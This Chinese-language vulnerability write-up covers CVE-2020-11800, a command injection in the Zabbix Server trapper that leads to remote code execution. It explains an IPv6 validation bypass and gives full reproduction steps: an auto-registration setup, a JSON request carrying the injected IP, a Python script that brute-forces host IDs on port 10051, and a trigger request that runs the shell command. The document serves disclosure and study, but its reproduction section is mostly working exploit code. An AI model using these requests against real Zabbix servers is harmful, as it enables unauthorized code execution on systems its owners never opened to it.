CVE-2020-11800 Zabbix远程代码执行漏洞

漏洞描述

Zabbix Server的trapper命令处理,存在命令注入漏洞,可导致远程代码执行。

漏洞影响

远程代码执行 CVSSv3 Score 9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H AC: HIGH 需要服务端配置开启自动注册,或者Zabbix Proxy(会认证主机名)自动发现。

影响版本

Zabbix 3.0.x~3.0.30 https://www.zabbix.com/cn/download?zabbix=3.0

漏洞分析

该漏洞原理与CVE-2017-2824相同,参考 https://talosintelligence.com/reports/TALOS-2017-0325 active checks是自动注册的命令字,自动注册的本意是agent可主动将主机注册给server进行监控,在2.2.18版本中可以在IP中注入(参见上文的版本分析处,2.2.19版本才增加了ip校验)shell命令。CVE-2017-2824提到的漏洞在discovery data命令字即自动发现功能中,由于没有校验IP,导致可在IP中写入shell命令,进而在执行script cmd时达到命令注入。 比如在IP中写入内容

;touch /tmp/zabbix_pwned

那么执行ping命令时就变为

/bin/ping -c 3 ;touch /tmp/zabbix_pwned 2>&1

CVE-2017-2824在3.0.x的修复办法是,对IP进行校验,代码如下: imgimg 但是校验IP的方法可以被绕过,Ipv4校验没问题,ipv6校验可绕过: img 输入为ffff:::;touch /tmp/1234pwn即可绕过,进而实现命令注入。

漏洞复现

添加自动注册规则

访问portal登录,依次点击菜单Configuration->Actions,将Event source调整为Auto registration img 点击Create action后,第一个页签随便写一个名字 img 第二个页签设置条件 img 可配置host name、proxy和host metadata包含或不包含某个关键字,为了复现方便这里留空。 第三个页签,指定操作,可以为发送消息、添加主机等,这里要选择Add host。 img 以上规则的意思就是任意自动注册的host,没有任何拒绝规则,都会直接添加到server中。

注册host

{"request":"active checks","host":"helloworld","ip":"ffff:::;touch /tmp/1234pwn"}

执行以上trapper命令,利用自动注册添加host

暴破hostid

利用command命令字,暴破得到上一步添加的host的id

def doCmd(ip, cmd):
    s = remote(ip, 10051)

    #length = socket.htonl(len(cmd))
    length = len(cmd)
    payload = 'ZBXD' + '\x01' + p32(length) + p32(0) + cmd

    s.send(payload)
    rsp = s.recv(400)
    info = json.loads(rsp)['info']
    print info
    if info.startswith('Unknown Host ID'):
        s.close()
        return False
    s.close()
    return True
def hostid_bruteforce():
    for ip in ipList:
        try:
            for i in range(10000, 20000):
                cmd_fmt = '{"request":"command","scriptid":"3","hostid":"%d","nodeid":"0"}'
                cmd = cmd_fmt%i
                rsp = doCmd(ip, cmd)
                try:
                    r = json.loads(rsp)['response']
                    if r == 'success':
                        print 'hostid = %d' % i
                except Exception as e:
                    print e                    
        except Exception as e:
            print e

触发命令注入

{"request":"command","scriptid":"1","hostid":"10106","nodeid":"0"}

执行ping命令,在server主机生成/tmp/1234pwn文件,注入成功。

修复建议

正确限制IP

附录

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11800https://support.zabbix.com/browse/ZBX-17600https://support.zabbix.com/browse/ZBXSEC-30